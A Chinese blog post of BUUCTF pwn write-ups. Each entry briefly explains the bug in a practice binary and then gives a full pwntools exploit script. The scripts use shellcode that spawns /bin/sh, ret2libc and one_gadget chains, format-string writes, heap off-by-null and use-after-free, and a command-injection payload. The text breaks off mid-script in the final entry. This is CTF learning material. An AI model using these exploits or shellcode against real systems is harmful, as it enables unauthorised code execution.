buuctf之pwn题(持续更新)

buu的前面很多Pwn题笔者都记录在了https://blog.csdn.net/zzq487782568?type=blog并在持续更新

这里记录一些buu后面一些有意思的题目

buuctf之pwn题(持续更新)

鹏城杯_2018_note

查看保护

写汇编题目,漏洞点出在了下面的红框框里面

id有10个大小而在下面read_input这里可以输入0xF个,可以将index给覆盖掉,我们控制了index这个值之后可以找上面的got表对其进行修改,因为可以执行shellcode,所以我们可以控制got为一个堆,在这个堆里面布置shellcode利用jmp这个跳转再跳转到其他的堆中继续持续shellcode(此题限制每次的写到 heap 上的长度小于 13 ),然后调用这个got就可以getshell了。

解释一下jmp $+0x16吧。表示当前这条指令要向前跳转到距离这条指令0x16个字节的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27746)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(index, size, content):
r.sendline('1')
sleep(0.1)
r.sendline(str(index))
sleep(0.1)
r.sendline(size)
sleep(0.1)
r.sendline(content)

p1 = asm('''
mov rsi, 0x0068732f6e69622f
jmp $+0x16
''')

p2 = asm('''
push rsi
mov rdi, rsp
jmp $+0x1c
''')

p3 = asm('''
xor rax, rax
mov al, 0x3b
jmp $+0x1b
''')


p4 = asm('''
xor rsi, rsi
xor rdx, rdx
syscall
''')

add(0, b'13'.ljust(0xa, b'\x00') + p32(0xFFFFFFF8), p1)
add(1, b'13', p2)
add(2, b'13', p3)
add(3, b'13', p4)

r.sendline('5')

r.interactive()

鹏城杯_2018_overint

查看保护

这一题其实不难,需要仔细的看一下

有两个check,先要过check1, 也就是最后的值要为35,写个脚本来爆破一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
def check1():
for i in range(257):
for j in range(257):
for k in range(257):
for l in range(257):
v3 = 0
v3 = ((i >> 4) + 4 * v3) ^ (i << 10)
v3 = ((j >> 4) + 4 * v3) ^ (j << 10)
v3 = ((k >> 4) + 4 * v3) ^ (k << 10)
v3 = ((l >> 4) + 4 * v3) ^ (l << 10)
if v3 == 35:
li('[+] %d, %d, %d, %d' % (i, j, k, l))

check2的话需要让他为543372146,直接上543372146, 0, 0, 0就可以了

任意地址写,所以很好利用,首先使用ret2libc泄露出libc。拿到libc之后再次ret2onegadget去运行one_gadget即可getshell。需要注意的地方就是写入地址的时候用循环来执行的话加个p8就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27286)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def check1():
for i in range(257):
for j in range(257):
for k in range(257):
for l in range(257):
v3 = 0
v3 = ((i >> 4) + 4 * v3) ^ (i << 10)
v3 = ((j >> 4) + 4 * v3) ^ (j << 10)
v3 = ((k >> 4) + 4 * v3) ^ (k << 10)
v3 = ((l >> 4) + 4 * v3) ^ (l << 10)
if v3 == 35:
li('[+] %d, %d, %d, %d' % (i, j, k, l))


r.sendafter('Please set arrary number:', chr(4) + chr(27) + chr(51) + chr(124))
#r.sendafter('Please set arrary number:', bytes([4, 27, 51, 124]))
r.sendafter('How many numbers do you have?\n', p32(5))

r.sendafter(' is: \n', p32(543372146))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40087F
pop_rdi_ret = 0x0000000000400b13

p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#p1 = flat([pop_rdi_ret, puts_got, puts_plt, main_addr])
r.sendafter('How many positions you want to modify?\n', p32(len(p1)))

for i in range(0, 32):
r.sendafter('Which position you want to modify?\n', p32(0x38 + i))
r.sendafter('What content you want to write in?\n', p8(p1[i]))

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] puts_addr = ' + hex(puts_addr))
libc = ELF('./2.27/libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[0] + libc_base
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

r.sendafter('Please set arrary number:', chr(4) + chr(27) + chr(51) + chr(124))
r.sendafter('How many numbers do you have?\n', p32(5))

r.sendafter(' is: \n', p32(543372146))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))
r.sendafter(' is: \n', p32(0))

p2 = p64(one_gadget) + p64(0) * 3
r.sendafter('How many positions you want to modify?\n', p32(len(p2)))

for i in range(0, len(p2)):
r.sendafter('Which position you want to modify?\n', p32(0x38 + i))
r.sendafter('What content you want to write in?\n', p8(p2[i]))

r.interactive()

鹏城杯_2018_easycalc

查看保护

这个题目并不难,就是add里fd不好改这里有点恶心。。。

没有show函数那就打stdout,2.27下的off-by-null,堆块重叠,打出unsortedbin,改fd为stdout申请过去。

申请过去之后改flags位和write_base改完主可以输出libc了。接着就是再次利用堆重叠改fd,注意这里有点坑,因为fd这一块是calc功能,直接改fd不好改,所以笔者这里拉低了地址然后直接改size形成了一个堆重叠再改fd的(可能有点麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28313)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'input>\n'

def add(idx, size, calc, msg):
r.sendlineafter(menu, b'1')
r.sendlineafter(b"input index\n", str(idx).encode())
r.sendlineafter(b"input size\n", str(size).encode())
r.sendlineafter(b"please input number a and b\n", f'- {calc}'.encode())
r.sendafter(b"input string\n", msg)

def edit(index, b):
r.sendlineafter(menu, '3')
r.sendlineafter('input index', str(index))
r.sendlineafter('please input number a and b', b'-')
r.sendline(str(b))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('input index', str(index))

add(0, 0x410, 0, 'aaaa')
add(1, 0x28, 0, 'bbbb')
add(2, 0x4f8, 0, 'ccccc')
add(3, 0x28, 0, 'dddd')

delete(0)
delete(1)

p1 = b'a' * 0x18 + p64(0x450)
add(1, 0x28, 0, p1)

delete(1)
delete(2)

add(0, 0x410, 0, 'aaaa')
add(4, 0x18, 0, 'bbb')

libc = ELF('./2.27/libc-2.27.so')
edit(4, libc.sym['_IO_2_1_stdout_'] - 0x3ec0d0)

add(5, 0x28, 0, 'aaaa')

add(6, 0x28, -0x1000, p64(0) * 3 + p8(0x58))

_IO_file_jumps = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] _IO_file_jumps = ' + hex(_IO_file_jumps))

libc_base = _IO_file_jumps - libc.sym['_IO_file_jumps']
free_hook = libc_base + libc.sym['__free_hook']
li('[+] free_hook = ' + hex(free_hook))
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one[1]

add(7, 0x40, 0, 'aaaa')
delete(7)

delete(0)
add(0, 0x410, 0, b'a' * 0x400 + p64(0x21))
delete(4)
delete(5)
add(4, 0x18, -0x10, 'aaaa')
add(5, 0x18, 0, 'aaaa')
add(8, 0x18, 0, p64(0x71))
delete(5)

add(5, 0x60, 0, p64(0) + p64(0) + p64(0x51) + p64(free_hook - 8))
delete(0)
add(0, 0x40, 0, 'aaa')
delete(1)
add(1, 0x40, 0, p64(one_gadget))

delete(1)

r.interactive()

BSidesCF_2019Slowfire

查看保护

看保护估计就是写shellcode了。

一开始真的是没找到什么漏洞,然后跟进了write_string和read_line_safe之后发现read_line_safe出了问题

第一次读的时候是buf_size - 1,填满之后total是buf_size - 1,所以可以第二次do while,既然可以第二次do while的话是不是就可以溢出了。ret2shellcode即可(orw),将shellcode放到name中,然后将ret给覆盖成name即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27571)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

# open read write
shellcode = '''
mov edi, 0x4040c0
mov esi, 0
mov eax, 2
syscall
mov rdi, rax
mov esi, 0x404180
mov edx, 0x100
mov eax, 0x401080
call rax
mov edi, DWORD PTR [rsp-0x444]
mov esi, 0x404180
mov edx, 0x100
mov eax, 0x401040
call rax
'''
li(str(asm(shellcode)))

r.send('flag' + '\x00')

p1 = asm(shellcode)

r.sendline(p1)

r.sendlineafter('Enter message> ', b'a' * (0x430 + 8) + p64(0x4040c5))

r.interactive()

suctf_2018_easy_overflow_file_structure

查看保护

拿到题目以为是httpd类的pwn题结果是我想多了

让我们输入很多数据然后传到su_server中。

fd->_flags = 0xdeadbeef满足这个条件会跳进secret中,而secret是个后门函数

假如researchfield可以进行溢出的话是不是再溢出两个字符就可以控制fd了,那漏洞点在哪里呢,笔者找了一圈没有什么进展,想了一下是和host username researchfield有关而这三个都有个共同的函数lookForHeader,跟进看一下

当这个数据有多个像host这种字段的时候,就会继续执行这个for循环可以继续再次往后填充0x7f个数据,所以我们可以先将0xdeadbeef放入host里,通过researchfield来溢出到fd->_flags,将_flags填成host的0xdeadbeef这里的地址,这样的话fd->_flags->0xdeadbeef就可以getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29171)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = b'GET / HTTP/1.1#'
p1 += b'Host:' + p64(0xdeadbeef) + b'#'
p1 += b'Username:z1r0#'
p1 += b'ResearchField:' + b'c' * 0x7e + b'#'
p1 += b'ResearchField:' + b'aa' + p64(0x602220) + b'#'

r.sendline(p1)

r.interactive()

csaw2018_shell_code

查看保护

一个比较简单的写shellcode题目

可以看到漏洞点goodbye这个函数里,一个栈溢出,前面会让我们输入两次数据,那我们就可以将shellcode写入node1和node2,再通过goodbye里面面的栈溢出跳转到shellcode处执行,程序还贴心的给了我们node2的地址,所以我们可以通过node2来算出node1。

shellcode我们可以这样构造

1
2
3
4
5
mov rdi, rsp
push 0x3b
pop rax
xor esi, esi
syscall

将rsp的值传到rdi中,所以我们可以在rsp中放入bin/sh,并将rax设置成0x3b也就是execve的系统调用号。然后将rsi rdx给清0,最后我们可以运行execve(“/bin/sh”, 0, 0);因为shellcode要保持在15以下所以push pop很好使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29758)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

shellcode1 = '''
mov rdi, rsp
push 0x3b
pop rax
xor esi, esi
syscall
'''

r.recvuntil('(15 bytes) Text for node 1:')
r.sendline(asm(shellcode1))
r.recvuntil('(15 bytes) Text for node 2:')
r.sendline('aaaaa')

r.recvuntil('0x')
node2_addr = int(r.recv(12), 16) + 0x8
li('[+] node2_addr = ' + hex(node2_addr))
node1_addr = node2_addr + 0x20
li('[+] node1_addr = ' + hex(node1_addr))

p1 = b'a' * (3 + 8) + p64(node1_addr) + b'/bin/sh\x00'
r.sendline(p1)

r.interactive()

actf_2020_scp_foundation_secret

查看保护

怎么说呢,这个题也太简单了。。

uaf的漏洞撞在了脸上,在申请堆的时候程序会专门有一个0x21大小的堆用来存放name和des的指针。程序在init_system这个函数内将flag存入到了一个bss段里。

所以漏洞利用思路很快就可以想好,利用uaf这个漏洞,将name指针给改成flag的地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25815)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = '> Now please tell me what you want to do :'

def add(name_size, name, des_size, des):
r.sendlineafter(menu, '2')
r.sendlineafter("> SCP name's length : ", str(name_size))
r.sendafter('> SCP name : ', name)
r.sendlineafter("> SCP description's length : ", str(des_size))
r.sendafter("> SCP description : ", des)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('> SCP project ID : ', str(index))

def show(index):
r.sendlineafter(menu, '5')
r.sendlineafter('> SCP project ID : ', str(index))

r.sendlineafter('> Username:', 'aa')
r.sendlineafter('> Password:', 'For_the_glory_of_Brunhild')
flag_addr = 0x6030C8

add(0x20, 'aaaa', 0x30, 'bbbb')
add(0x20, 'aaaa', 0x30, 'bbbb')

delete(0)
delete(1)

add(0x18, p64(flag_addr), 0x50, 'aaaa')

show(0)

r.interactive()

cscctf_2019_qual_babyheap

查看保护

简单题目

2.27下的off-by-null。利用off-by-null将unsortedbin向前合并,形成overlapping就可以了。这里就不详细的说了,因为比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26243)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = '>> '

def add(index, size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Content: ', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

for i in range(7):
add(i, 0xf8, 'aaaaa')

add(7, 0xf8, 'aaaa')
add(8, 0x18, 'bbbb')
add(9, 0xf8, 'aaaa')
add(10, 0x10, '/bin/sh')

for i in range(7):
delete(i)

delete(7)
delete(8)

p1 = b'a' * 0x10 + p64(0x120)
add(8, len(p1), p1)

delete(9)

for i in range(7):
add(i, 0xf8, 'aaaa')

add(7, 0xf8, 'aaa')
show(8)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('[+] malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[0] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
li('[+] free_hook = ' + hex(free_hook))
system_addr = libc.sym['system'] + libc_base

add(9, 0x18, 'aaaa')

delete(8)
delete(9)

p2 = p64(free_hook)

add(8, len(p2), p2)
add(9, 0x18, 'aaa')

add(11, 0x18, p64(system_addr))

delete(10)

r.interactive()

cscctf_2019_final_babyprintf

查看保护

还是简单题

格式化漏洞,改不了got和ret,但是有一个exit(0),这个程序贴心的给了三次机会,第一次泄露libc。第二次改exit_hook为one_gadget。第三次随便输入执行exit就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26380)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = b'%43$p'
r.sendline(p1)

#libc_start_main = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_start_main = int(r.recv(14), 16) - 231
li('[+] libc_start_main = ' + hex(libc_start_main))

libc = ELF('./2.27/libc-2.27.so')

libc_base = libc_start_main - libc.sym['__libc_start_main']
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base
li('[+] one_gadget = ' + hex(one_gadget))
exit_hook = libc_base + 0x619060 + 3848
li('[+] exit_hook = ' + hex(exit_hook))

p1 = fmtstr_payload(8, {exit_hook: one_gadget})
r.sendline(p1)

r.sendline('aaaa')

r.interactive()

wdb_2018_4th_pwn2

查看保护

第一个功能点可以泄露出canary。但需要配合第二个使用

第二个功能可以不断调用本函数,这样子的话旧的canary还在栈上,配合第一个功能就可以输出canary了

第三个功能可以输出libc(%a)

第四个功能也就是0911,我们可以借助这个函数进行栈溢出攻击。这个功能有个坑点,close(0),笔者一开始构造了one_gadget,发现会失败,所以在构造rop的时候需要system(“cat flag”);直接读flag,另外想要使用这个函数还需要爆破一下urandom,选了0这个值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64', os='linux')#, log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27125)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Guess your option:'

def one(content):
r.sendlineafter(menu, '1')
r.sendafter('once..', content)

def two(content, n):
r.sendlineafter(menu, '2')
for i in range(n - 1):
r.sendafter('bored...', 'a')
r.sendlineafter('Satisfied?y/n', 'n')
r.sendafter('bored...', content)
r.sendlineafter('Satisfied?y/n', 'y')

def three(content):
r.sendlineafter(menu, '3')
r.sendafter('think?)', content)


def four(content):
r.sendlineafter(menu, '9011')
r.sendafter('code:', content)

two('a', 10)
one('a' * 0xa9)
r.recvuntil('a' * 0xa9)
canary = u64(r.recv(7).rjust(8, b'\x00'))
li('[+] canary = ' + hex(canary))

three('%a')
r.recvuntil('0x0.0')
addr = int(r.recv(12), 16) - 131
li('[+] addr = ' + hex(addr))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = addr - libc.sym['_IO_2_1_stdout_']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']

pop_rdi = 0x0000000000400c53

p1 = b'cat flag' + p64(canary) + p64(0) + p64(pop_rdi) + p64(0x602080) + p64(system_addr)
two(p1, 0)

try:
for i in range(0x1000):
four('\x00' * 8)
ll('[-]' + str(i))
except:
r.close()

r.interactive()

greeting_mna_2016

查看保护

简单题

格式化字符串漏洞只有一次,所以我们可以改fini段为main,程序里面还有system,所以可以将printf或者strlen改为system,最后传入/bin/sh即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29425)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

fini = 0x8049934
system_plt = 0x08048490
strlen_got = 0x08049A54
main_addr = 0x080485ED
addr = [0x804, 0x8490, 0x85ED]

p1 = b'aa'
p1 += p32(strlen_got + 2)
p1 += p32(strlen_got)
p1 += p32(fini)

one1 = addr[0] - 0x20
p1 += b'%' + bytes(str(one1), encoding='utf-8') + b'c%12$hn'

one2 = addr[1] - addr[0]
p1 += b'%' + bytes(str(one2), encoding='utf-8') + b'c%13$hn'

one3 = addr[2] - addr[1]
p1 += b'%' + bytes(str(one3), encoding='utf-8') + b'c%14$hn'

r.sendlineafter('Please tell me your name... ', p1)
r.sendlineafter('Please tell me your name... ', '/bin/sh')

r.interactive()

web_of_sci_volga_2016

查看保护

第一个红色框和printf格式化漏洞可以达成canary和stack_addr泄露。然后第二个gets可以达成ret2shellcode。

0xa0 - 0x18 = 0x88。shellcode的地址为46这里的偏移-192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26205)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = b'%43$p.%46$p'
r.sendlineafter('Tell me your name first', p1)

r.recvuntil('0x')
canary = int(r.recv(16), 16)
li('[+] canary = ' + hex(canary))

r.recvuntil('0x')
stack_addr = int(r.recv(12), 16)
li('[+] stack_addr = ' + hex(stack_addr))

for i in range(9):
r.sendline(str(i))
r.recv()

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p1 = shellcode + (0x88 - len(shellcode)) * b'A' + p64(canary) + 3 * p64(0x0) + p64(stack_addr - 192)

r.sendline(p1)

r.interactive()

pwnable_free_spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdint.h>

void setup()
{
// Not relevant.
}

void win()
{
system("cat /flag");
}

int main()
{
// Variables follow Ghidra's default naming convention (Ghidra version 9.1).
char local_50[0x30]; // $rsp + 0x18
void *local_58; // $rsp + 0x10
void *local_60; // $rsp + 0x8

setup();

local_58 = malloc(0x40);

while (true) {
printf("> ");
read(stdin, local_50, 0x30);
int option = atoi(local_50);
switch (option) {
case 0:
goto cleanup;
case 1:
// Write to wherever local_58 is currently pointing to.
read(stdin, local_58, 0x20);
break;
case 2:
// Stack address leak.
printf("%p\n", &local_58);
break;
case 3:
// Pointer overwrites.
local_60 = *(unsigned long *)(local_58 + 0);
local_58 = *(unsigned long *)(local_58 + 8);
break;
default:
printf("Invalid\n");
}
}

cleanup:
free(local_58); // must pass the free checks to reach the return
return 0;
}

这个程序的代码是笔者在pwnable.xyz那里看到的,还有一个后门,漏洞点在case3这里,可以看到60 = 58,58= 58 + 8其实就是fd和bk。58=bk。

我们有了后门是不是可以将ret地址给覆盖成后门,然后程序程序退出是不是就可以getshell了?

程序一开始给了stack_addr,ret的地址与stack_addr偏移为0x58。利用case 1,将ret_addr布置到bk上,触发case 3:这个时候stack_addr这里的地址就变成了ret_addr。再次利用这种手法将ret_addr变成后门地址,将stack_addr这里的值变成stack_addr + 0x10。为什么要变成+ 0x10?因为最后程序会free(58),所以我们在+0x10这里布置一个正常的堆块使得最后程序可以正确释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28174)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = '> '

def read_in(content):
r.sendlineafter(menu, '1')
r.send(content)

def show():
r.sendlineafter(menu, '2')

def ppp():
r.sendlineafter(menu, '3')

shell = 0x400A3E

show()
r.recvuntil('0x')
stack_addr = int(r.recv(12), 16)
li('[+] stck_addr = ' + hex(stack_addr))
ret_addr = stack_addr + 0x58
li('[+] ret_addr = ' + hex(ret_addr))

read_in(p64(ret_addr) * 2)
ppp()
read_in(p64(shell) + p64(stack_addr + 0x10))
ppp()

p1 = p64(0x21)
p1 += p64(0) * 3
p1 += p64(0x21)
r.sendlineafter(menu, p1)

r.interactive()

pwnable_loveletter

这个题目令人意想不到的是连上去就可以执行命令。。

用预期做一下

protect里面将#&这些东西给换成了心而心这个图案有是3字节,所以这里有一个溢出。但是有canary所以rop很困难,再回到主函数看到可以溢出到prolog_len,最后还有一个system而system里面的是三段拼起来的,所以我们可以利用溢出控制prolog_len,将prolog_len改成1,这样的话第一个就是e,有一个命令,env sh -C sh可以拿到shell

最后的payload为p1 = 'nv sh -c bash ' + 'A' * (0x114 - 0x14 - 14 - 2 - 1) + '#\x01'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = 'nv sh -c bash ' + 'A' * (0x114 - 0x14 - 14 - 2 - 1) + '#\x01'
r.sendline(p1)

r.interactive()

ciscn_2019_s_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 Edit()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
Data *v2; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

printf("Index:");
v1 = read_int();
if ( v1 >= 0xA )
{
puts("You want to steal the flag?");
exit(0);
}
if ( heap_ptr[v1] )
{
v2 = (Data *)heap_ptr[v1];
if ( v2->state )
{
--v2->state;
v3 = realloc((void *)v2->content, v2->size);
if ( v3 )
{
v2->content = (__int64)v3;
printf("New content:");
secure_read((void *)v2->content, v2->size);
puts("OK!");
}
else
{
puts("Can not edit this flag!");
}
return 0LL;
}
else
{
puts("Dead!");
return 0LL;
}
}
else
{
puts("None flag!");
return 0LL;
}
}

在edit里有一个realloc,其他函数都是正常的,如果size为0,则把realloc看成一个free,此时出现uaf漏洞

利用uaf,劫持结构体修改content所在的指针,指向需要的堆地址从而泄露出堆地址和libc,最后再利用uaf漏洞,写入hook为ogg即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_s_2'

